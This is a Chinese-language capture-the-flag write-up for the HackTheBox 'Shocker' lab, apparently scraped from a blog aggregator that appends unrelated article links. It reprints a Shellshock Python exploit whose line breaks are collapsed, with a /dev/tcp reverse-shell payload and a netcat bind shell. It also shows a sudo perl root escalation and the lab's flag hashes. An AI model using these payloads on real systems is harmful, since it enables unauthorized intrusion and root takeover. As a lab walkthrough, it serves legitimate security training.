当前位置: 首页 > news >正文

[Meachines] [Easy] shocker CGI-BIN Shell Shock + Perl权限提升

信息收集

IP AddressOpening Ports
10.10.10.56TCP:80,2222

$ nmap -p- 10.10.10.56 --min-rate 1000 -sC -sV

PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
2222/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
|   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_  256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

CGI-BIN Shell Shock

$ dirb http://10.10.10.56/

image.png

$ searchsploit -w apache mod_cgi

image-1.png

https://www.exploit-db.com/exploits/34900

image-2.png

#!/usr/bin/env python
from socket import *
from threading import Thread
import thread, time, httplib, urllib, sysstop = False
proxyhost = ""
proxyport = 0def usage():print """Shellshock apache mod_cgi remote exploitUsage:
./exploit.py var=<value>Vars:
rhost: victim host
rport: victim port for TCP shell binding
lhost: attacker host for TCP shell reversing
lport: attacker port for TCP shell reversing
pages:  specific cgi vulnerable pages (separated by comma)
proxy: host:port proxyPayloads:
"reverse" (unix unversal) TCP reverse shell (Requires: rhost, lhost, lport)
"bind" (uses non-bsd netcat) TCP bind shell (Requires: rhost, rport)Example:./exploit.py payload=reverse rhost=1.2.3.4 lhost=5.6.7.8 lport=1234
./exploit.py payload=bind rhost=1.2.3.4 rport=1234Credits:Federico Galatolo 2014
"""sys.exit(0)def exploit(lhost,lport,rhost,rport,payload,pages):headers = {"Cookie": payload, "Referer": payload}for page in pages:if stop:returnprint "[-] Trying exploit on : "+pageif proxyhost != "":c = httplib.HTTPConnection(proxyhost,proxyport)c.request("GET","http://"+rhost+page,headers=headers)res = c.getresponse()else:c = httplib.HTTPConnection(rhost)c.request("GET",page,headers=headers)res = c.getresponse()if res.status == 404:print "[*] 404 on : "+pagetime.sleep(1)args = {}for arg in sys.argv[1:]:ar = arg.split("=")args[ar[0]] = ar[1]
try:args['payload']
except:usage()if args['payload'] == 'reverse':try:lhost = args['lhost']lport = int(args['lport'])rhost = args['rhost']payload = "() { :;}; /bin/bash -c /bin/bash -i >& /dev/tcp/"+lhost+"/"+str(lport)+" 0>&1 &"except:usage()
elif args['payload'] == 'bind':try:rhost = args['rhost']rport = args['rport']payload = "() { :;}; /bin/bash -c 'nc -l -p "+rport+" -e /bin/bash &'"except:usage()
else:print "[*] Unsupported payload"usage()try:pages = args['pages'].split(",")
except:pages = ["/cgi-sys/entropysearch.cgi","/cgi-sys/defaultwebpage.cgi","/cgi-mod/index.cgi","/cgi-bin/test.cgi","/cgi-bin-sdb/printenv"]try:proxyhost,proxyport = args['proxy'].split(":")
except:passif args['payload'] == 'reverse':serversocket = socket(AF_INET, SOCK_STREAM)buff = 1024addr = (lhost, lport)serversocket.bind(addr)serversocket.listen(10)print "[!] Started reverse shell handler"thread.start_new_thread(exploit,(lhost,lport,rhost,0,payload,pages,))
if args['payload'] == 'bind':serversocket = socket(AF_INET, SOCK_STREAM)addr = (rhost,int(rport))thread.start_new_thread(exploit,("",0,rhost,rport,payload,pages,))buff = 1024while True:if args['payload'] == 'reverse':clientsocket, clientaddr = serversocket.accept()print "[!] Successfully exploited"print "[!] Incoming connection from "+clientaddr[0]stop = Trueclientsocket.settimeout(3)while True:reply = raw_input(clientaddr[0]+"> ")clientsocket.sendall(reply+"\n")try:data = clientsocket.recv(buff)print dataexcept:passif args['payload'] == 'bind':try:serversocket = socket(AF_INET, SOCK_STREAM)time.sleep(1)serversocket.connect(addr)print "[!] Successfully exploited"print "[!] Connected to "+rhoststop = Trueserversocket.settimeout(3)while True:reply = raw_input(rhost+"> ")serversocket.sendall(reply+"\n")data = serversocket.recv(buff)print dataexcept:pass

$ python2 ./exp.py payload=reverse rhost=10.10.10.56 lhost=10.10.16.14 lport=10032 pages=/cgi-bin/user.sh

image-3.png

User.txt

52bf59994f4a8d97df4daa775641ab05

权限提升

$ sudo -l

$ sudo perl -e 'exec "/bin/sh";'

image-4.png

Root.txt

0bc6d190e24dca08e42174ed7a7ad1a7

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • python rsa如何安装
  • live2d C++ sdk 分析
  • 高仲富:49岁搞AI,白天种菜卖菜,晚上学数学搞程序
  • 都2024年了,SQL语句还需要手写吗?
  • 【限免】通信信号与干扰信号【附MATLAB代码】
  • python 图片爬虫记录
  • 实时数仓分层架构详解
  • 【Python】常用的pdf提取库介绍对比
  • 电子电气架构 --- SOVD在域控制器的应用
  • 缓存一致性问题
  • tcpdump使用指南
  • 前端的学习-CSS(二)-弹性盒子-flex
  • 在C#中为图片添加数字水印的几种办法
  • Xinstall全链路数据统计,助力推广者破解社交分享难题
  • 汇昌联信数字做拼多多运营怎么入行?
  • angular学习第一篇-----环境搭建
  • Asm.js的简单介绍
  • avalon2.2的VM生成过程
  • CentOS7简单部署NFS
  • django开发-定时任务的使用
  • go append函数以及写入
  • gulp 教程
  • MYSQL 的 IF 函数
  • rabbitmq延迟消息示例
  • Ruby 2.x 源代码分析:扩展 概述
  • Vue官网教程学习过程中值得记录的一些事情
  • 编写符合Python风格的对象
  • 初识 beanstalkd
  • 聊聊directory traversal attack
  • 什么软件可以剪辑音乐?
  • 为物联网而生:高性能时间序列数据库HiTSDB商业化首发!
  • 一起参Ember.js讨论、问答社区。
  • JavaScript 新语法详解:Class 的私有属性与私有方法 ...
  • 你学不懂C语言,是因为不懂编写C程序的7个步骤 ...
  • (04)odoo视图操作
  • (C#)Windows Shell 外壳编程系列9 - QueryInfo 扩展提示
  • (c语言)strcpy函数用法
  • (第9篇)大数据的的超级应用——数据挖掘-推荐系统
  • (附源码)spring boot车辆管理系统 毕业设计 031034
  • (强烈推荐)移动端音视频从零到上手(下)
  • (十八)devops持续集成开发——使用docker安装部署jenkins流水线服务
  • (十六)串口UART
  • (四)库存超卖案例实战——优化redis分布式锁
  • (最完美)小米手机6X的Usb调试模式在哪里打开的流程
  • .locked1、locked勒索病毒解密方法|勒索病毒解决|勒索病毒恢复|数据库修复
  • .NET CF命令行调试器MDbg入门(二) 设备模拟器
  • .NET Framework .NET Core与 .NET 的区别
  • .NET 线程 Thread 进程 Process、线程池 pool、Invoke、begininvoke、异步回调
  • @JsonSerialize注解的使用
  • [2008][note]腔内级联拉曼发射的,二极管泵浦多频调Q laser——
  • [Android]Android开发入门之HelloWorld
  • [AutoSar]BSW_OS 01 priority ceiling protocol(PCP)
  • [BZOJ1089][SCOI2003]严格n元树(递推+高精度)
  • [C#7] 1.Tuples(元组)
  • [c++] C++多态(虚函数和虚继承)